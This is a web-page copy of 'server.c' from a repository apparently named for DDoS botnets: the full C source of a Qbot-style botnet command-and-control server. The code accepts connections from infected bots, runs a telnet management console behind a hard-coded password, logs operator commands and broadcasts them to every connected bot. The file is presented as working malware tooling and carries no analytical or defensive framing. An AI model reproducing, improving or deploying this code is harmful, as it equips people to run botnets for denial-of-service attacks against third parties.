Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Qbot/Cbot/server.c
5038 views
1
#include <stdio.h>
2
#include <stdlib.h>
3
#include <stdint.h>
4
#include <inttypes.h>
5
#include <string.h>
6
#include <sys/types.h>
7
#include <sys/socket.h>
8
#include <netdb.h>
9
#include <unistd.h>
10
#include <time.h>
11
#include <fcntl.h>
12
#include <sys/epoll.h>
13
#include <errno.h>
14
#include <pthread.h>
15
#include <signal.h>
16
#include <arpa/inet.h>
17
18
#define MY_MGM_PASS "sexg0d69"
19
20
#define MAXFDS 1000000
21
22
struct clientdata_t {
23
uint32_t ip;
24
char connected;
25
} clients[MAXFDS];
26
struct telnetdata_t {
27
int connected;
28
} managements[MAXFDS];
29
struct args {
30
int sock;
31
struct sockaddr_in cli_addr;
32
};
33
static volatile FILE *fileFD;
34
static volatile int epollFD = 0;
35
static volatile int listenFD = 0;
36
static volatile int managesConnected = 0;
37
int fdgets(unsigned char *buffer, int bufferSize, int fd)
38
{
39
int total = 0, got = 1;
40
while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
41
return got;
42
}
43
44
void trim(char *str)
45
{
46
int i;
47
int begin = 0;
48
int end = strlen(str) - 1;
49
while (isspace(str[begin])) begin++;
50
while ((end >= begin) && isspace(str[end])) end--;
51
for (i = begin; i <= end; i++) str[i - begin] = str[i];
52
str[i - begin] = '\0';
53
}
54
55
56
static int make_socket_non_blocking (int sfd)
57
{ // man fcntl
58
int flags, s;
59
flags = fcntl (sfd, F_GETFL, 0);
60
if (flags == -1)
61
{
62
perror ("fcntl");
63
return -1;
64
}
65
flags |= O_NONBLOCK;
66
s = fcntl (sfd, F_SETFL, flags);
67
if (s == -1)
68
{
69
perror ("fcntl");
70
return -1;
71
}
72
return 0;
73
}
74
75
76
static int create_and_bind (char *port)
77
{
78
struct addrinfo hints;
79
struct addrinfo *result, *rp;
80
int s, sfd;
81
memset (&hints, 0, sizeof (struct addrinfo));
82
hints.ai_family = AF_UNSPEC;
83
hints.ai_socktype = SOCK_STREAM;
84
hints.ai_flags = AI_PASSIVE;
85
s = getaddrinfo (NULL, port, &hints, &result);
86
if (s != 0)
87
{
88
fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
89
return -1;
90
}
91
for (rp = result; rp != NULL; rp = rp->ai_next)
92
{
93
sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
94
if (sfd == -1) continue;
95
int yes = 1;
96
if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
97
s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
98
if (s == 0)
99
{
100
break;
101
}
102
close (sfd);
103
}
104
if (rp == NULL)
105
{
106
fprintf (stderr, "Could not bind\n");
107
return -1;
108
}
109
freeaddrinfo (result);
110
return sfd;
111
}
112
void broadcast(char *msg, int us)
113
{
114
int sendMGM = 1;
115
if(strcmp(msg, "PING") == 0) sendMGM = 0;
116
int i;
117
for(i = 0; i < MAXFDS; i++)
118
{
119
if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
120
if(sendMGM && managements[i].connected)
121
{
122
send(i, "\n", 0, MSG_NOSIGNAL);
123
}
124
send(i, msg, strlen(msg), MSG_NOSIGNAL);
125
if(sendMGM && managements[i].connected) {
126
send(i, "\n", 0, MSG_NOSIGNAL);
127
} else send(i, "\n", 1, MSG_NOSIGNAL);
128
}
129
}
130
131
void *epollEventLoop(void *useless)
132
{
133
struct epoll_event event;
134
struct epoll_event *events;
135
int s;
136
events = calloc (MAXFDS, sizeof event);
137
while (1)
138
{
139
int n, i;
140
n = epoll_wait (epollFD, events, MAXFDS, -1);
141
for (i = 0; i < n; i++)
142
{
143
if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
144
{
145
clients[events[i].data.fd].connected = 0;
146
close(events[i].data.fd);
147
continue;
148
}
149
else if (listenFD == events[i].data.fd)
150
{
151
while (1)
152
{
153
struct sockaddr in_addr;
154
socklen_t in_len;
155
int infd, ipIndex;
156
157
in_len = sizeof in_addr;
158
infd = accept (listenFD, &in_addr, &in_len);
159
if (infd == -1)
160
{
161
if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
162
else
163
{
164
perror ("accept");
165
break;
166
}
167
}
168
169
clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
170
171
int dup = 0;
172
for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
173
{
174
if(!clients[ipIndex].connected || ipIndex == infd) continue;
175
176
if(clients[ipIndex].ip == clients[infd].ip)
177
{
178
dup = 1;
179
break;
180
}
181
}
182
183
if(dup)
184
{
185
if(send(infd, "!* LUCKYLILDUDE\n", 16, MSG_NOSIGNAL) == -1) { close(infd); continue; }
186
close(infd);
187
continue;
188
}
189
190
s = make_socket_non_blocking (infd);
191
if (s == -1) { close(infd); break; }
192
193
event.data.fd = infd;
194
event.events = EPOLLIN | EPOLLET;
195
s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
196
if (s == -1)
197
{
198
perror ("epoll_ctl");
199
close(infd);
200
break;
201
}
202
203
clients[infd].connected = 1;
204
send(infd, "!* TELNET\n", 10, MSG_NOSIGNAL);
205
}
206
continue;
207
}
208
else
209
{
210
int thefd = events[i].data.fd;
211
struct clientdata_t *client = &(clients[thefd]);
212
int done = 0;
213
client->connected = 1;
214
while (1)
215
{
216
ssize_t count;
217
char buf[2048];
218
memset(buf, 0, sizeof buf);
219
220
while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
221
{
222
if(strstr(buf, "\n") == NULL) { done = 1; break; }
223
trim(buf);
224
if(strcmp(buf, "PING") == 0)
225
{
226
if(send(thefd, "PONG!\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
227
continue;
228
}
229
if(strcmp(buf, "FUCKYOU") == 0)
230
{
231
continue;
232
}
233
234
printf("buf: \"%s\"\n", buf);
235
}
236
237
if (count == -1)
238
{
239
if (errno != EAGAIN)
240
{
241
done = 1;
242
}
243
break;
244
}
245
else if (count == 0)
246
{
247
done = 1;
248
break;
249
}
250
}
251
252
if (done)
253
{
254
client->connected = 0;
255
close(thefd);
256
}
257
}
258
}
259
}
260
}
261
262
unsigned int clientsConnected()
263
{
264
int i = 0, total = 0;
265
for(i = 0; i < MAXFDS; i++)
266
{
267
if(!clients[i].connected) continue;
268
total++;
269
}
270
271
return total;
272
}
273
274
static int *fdopen_pids;
275
276
int fdpopen(unsigned char *program, register unsigned char *type)
277
{
278
register int iop;
279
int pdes[2], fds, pid;
280
281
if (*type != 'r' && *type != 'w' || type[1]) return -1;
282
283
if (pipe(pdes) < 0) return -1;
284
if (fdopen_pids == NULL) {
285
if ((fds = getdtablesize()) <= 0) return -1;
286
if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
287
memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
288
}
289
290
switch (pid = vfork())
291
{
292
case -1:
293
close(pdes[0]);
294
close(pdes[1]);
295
return -1;
296
case 0:
297
if (*type == 'r') {
298
if (pdes[1] != 1) {
299
dup2(pdes[1], 1);
300
close(pdes[1]);
301
}
302
close(pdes[0]);
303
} else {
304
if (pdes[0] != 0) {
305
(void) dup2(pdes[0], 0);
306
(void) close(pdes[0]);
307
}
308
(void) close(pdes[1]);
309
}
310
execl("/bin/sh", "sh", "-c", program, NULL);
311
_exit(127);
312
}
313
if (*type == 'r') {
314
iop = pdes[0];
315
(void) close(pdes[1]);
316
} else {
317
iop = pdes[1];
318
(void) close(pdes[0]);
319
}
320
fdopen_pids[iop] = pid;
321
return (iop);
322
}
323
324
int fdpclose(int iop)
325
{
326
register int fdes;
327
sigset_t omask, nmask;
328
int pstat;
329
register int pid;
330
331
if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
332
(void) close(iop);
333
sigemptyset(&nmask);
334
sigaddset(&nmask, SIGINT);
335
sigaddset(&nmask, SIGQUIT);
336
sigaddset(&nmask, SIGHUP);
337
(void) sigprocmask(SIG_BLOCK, &nmask, &omask);
338
do {
339
pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
340
} while (pid == -1 && errno == EINTR);
341
(void) sigprocmask(SIG_SETMASK, &omask, NULL);
342
fdopen_pids[fdes] = 0;
343
return (pid == -1 ? -1 : WEXITSTATUS(pstat));
344
}
345
346
void *telnetWorker(void *arguments)
347
{
348
struct args *argument = arguments;
349
int thefd = argument->sock;
350
managesConnected++;
351
pthread_t title;
352
char buf[2048];
353
char counter[2048];
354
memset(counter, 0, 2048);
355
memset(buf, 0, sizeof buf);
356
char botnet[2048];
357
memset(botnet, 0, 2048);
358
359
memset(buf, 0, sizeof buf);
360
if(send(thefd, "", 0, MSG_NOSIGNAL) == -1) goto end;
361
if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
362
trim(buf);
363
if(strcmp(buf, MY_MGM_PASS) != 0) goto end;
364
memset(buf, 0, 2048);
365
if(send(thefd, "\033[1A", 4, MSG_NOSIGNAL) == -1) goto end;
366
if(send(thefd, "[ ~ KEEP HACKING! ~ ]\r\n", 23, MSG_NOSIGNAL) == -1) goto end;
367
if(send(thefd, "~$ ", 3, MSG_NOSIGNAL) == -1) goto end;
368
while(fdgets(buf, sizeof buf, thefd) > 0)
369
{
370
if(strstr(buf, "BOTS"))
371
{
372
sprintf(botnet, "BOTS ONLINE: %d\r\n", clientsConnected(), managesConnected);
373
if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
374
}
375
trim(buf);
376
if(send(thefd, "~$ ", 3, MSG_NOSIGNAL) == -1) goto end;
377
if(strlen(buf) == 0) continue;
378
FILE* logFile;
379
logFile = fopen("/var/log/cnc", "a");
380
fprintf(logFile, "%s\n", buf);
381
fclose(logFile);
382
broadcast(buf, thefd);
383
memset(buf, 0, 2048);
384
}
385
end:
386
managements[thefd].connected = 0;
387
close(thefd);
388
managesConnected--;
389
}
390
391
392
void *telnetListener(int port)
393
{
394
int sockfd;
395
struct args arguments;
396
socklen_t clilen;
397
struct sockaddr_in serv_addr;
398
sockfd = socket(AF_INET, SOCK_STREAM, 0);
399
if (sockfd < 0) perror("ERROR opening socket");
400
bzero((char *) &serv_addr, sizeof(serv_addr));
401
serv_addr.sin_family = AF_INET;
402
serv_addr.sin_addr.s_addr = INADDR_ANY;
403
serv_addr.sin_port = htons(port);
404
if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
405
listen(sockfd,5);
406
clilen = sizeof(arguments.cli_addr);
407
while(1)
408
{
409
arguments.sock = accept(sockfd, (struct sockaddr *)&arguments.cli_addr, &clilen);
410
if (arguments.sock < 0) perror("ERROR on accept");
411
pthread_t thread;
412
pthread_create( &thread, NULL, telnetWorker, &arguments);
413
}
414
}
415
416
int main(int argc, char *argv[])
417
{
418
signal(SIGPIPE, SIG_IGN);
419
int s, threads, port;
420
struct epoll_event event;
421
port = atoi(argv[3]);
422
if (argc != 4)
423
{
424
fprintf (stderr, "%s [BOT PORT] [THREADS] [CNC PORT]\n", argv[0]);
425
exit (EXIT_FAILURE);
426
}
427
fileFD = NULL;
428
threads = atoi(argv[2]);
429
430
listenFD = create_and_bind (argv[1]);
431
if (listenFD == -1) abort ();
432
433
s = make_socket_non_blocking (listenFD);
434
if (s == -1) abort ();
435
436
s = listen (listenFD, SOMAXCONN);
437
if (s == -1)
438
{
439
perror ("listen");
440
abort ();
441
}
442
epollFD = epoll_create1 (0);
443
if (epollFD == -1)
444
{
445
perror ("epoll_create");
446
abort ();
447
}
448
449
event.data.fd = listenFD;
450
event.events = EPOLLIN | EPOLLET;
451
s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
452
if (s == -1)
453
{
454
perror ("epoll_ctl");
455
abort ();
456
}
457
pthread_t thread[threads + 2];
458
while(threads--)
459
{
460
pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
461
}
462
pthread_create(&thread[0], NULL, &telnetListener, port);
463
464
while(1)
465
{
466
broadcast("PING", -1);
467
468
sleep(60);
469
}
470
471
close (listenFD);
472
473
return EXIT_SUCCESS;
474
}
475